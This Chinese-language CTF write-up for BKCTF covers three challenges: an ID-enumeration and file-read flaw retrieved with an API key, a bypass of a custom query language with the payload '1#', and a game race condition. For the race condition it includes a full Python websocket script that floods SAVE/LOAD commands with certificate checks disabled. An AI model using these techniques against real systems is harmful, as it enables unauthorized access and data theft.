752 字
4 分钟
BKCTF
1. My First Blog

进入环境展示了几个 blog,有个问题是只有 1,2,4,没有 3

直接修改 id,成功展示了博客界面,查看文档没有收获

抓包查看文件,包中提示隐藏的文件需要用 apikey,同时/attachement?file=明显的文件读取

携带 apikey 直接读取 flag 文件
2. Tiny SQL

分析附件中的源码,可以知道出题人自己定义了一种上 sql 查询的方式,格式为 S:user
需要在不触发服务器内部错误,返回结果为三个字段时才能成功登录
简单尝试一下发现不能输入‘“等一些特殊字符,可以输入:#
开始时尝试 admin:#,希望能在满足结构的情况下注释掉后面的语句以绕过,发现不行,仔细分析,result 需要满足返回的字段等于 3,也就是需要返回 S:user

查看后序源码,发现在查看文章时用了另一种查询方式,只需通过 S:id 就能直接返回信息,那有没有一种更可能在登录和查看文章时使用了同一种查询接口,在 login 时构造 S:id 就能直接返回信息,满足 result=3 的判断
payload:1#,后端构造查询语句:S:1#,返回用户信息,实现绕过
3. Be a Legend

进入环境,一个简单的回合制游戏,我们需要打败 dragon,直接打肯定不行

查看源码,发现代码中存在几处 asyncio.sleep(0.3),一看就是条件竞争漏洞

分析源码,代码中存在一个 game_states 的列表,用来保存存档时的状态,每次回档从这个列表中恢复
fight_loop 中开了一个子线程,关键点每次玩家攻击龙后都会先 sleep(0.3),然后龙才会攻击玩家,我们可以利用这个间隙,每次玩家攻击后就存档然后回档,此时龙的状态就不是满的了,重复操作
直接 ai 脚本:
import websocketimport threadingimport timeimport ssl
# 你的目标地址ws_url = "wss://be-a-legend-a09522316fbd28be.instancer.batmans.kitchen//ws"
def on_message(ws, message): # 打印服务器返回,方便观察 HP 变化 print(f"[Server]: {message}") if "bkctf{" in message: print("\n" + "=" * 30) print("!!! FLAG FOUND !!!") print("=" * 30 + "\n")
def on_error(ws, error): print(f"### Error: {error} ###")
def on_close(ws, close_status_code, close_msg): print("### Connection Closed ###")
def attack_payload(ws): print("[*] Connection opened. Initializing...") # 给服务器一点响应时间 time.sleep(0.5)
# 1. 准备环境 ws.send("RESET") time.sleep(0.5) ws.send("SAVE") time.sleep(0.5)
# 2. 发起战斗 ws.send("FIGHT") print("[*] Fighting! Spamming LOAD now...")
# 3. 核心竞态攻击 # 这里的频率可以根据网络延迟调整,0.05s 到 0.1s 通常比较理想 try: while True: ws.send("LOAD") time.sleep(0.05) except Exception as e: print(f"Attack thread stopped: {e}")
def on_open(ws): # 只有当连接真正建立时,才开启攻击线程 thread = threading.Thread(target=attack_payload, args=(ws,)) thread.daemon = True thread.start()
if __name__ == "__main__": # 这里的 sslopt 是为了跳过某些复杂的证书校验问题,确保稳定连接 ws = websocket.WebSocketApp( ws_url, on_open=on_open, on_message=on_message, on_error=on_error, on_close=on_close )
ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})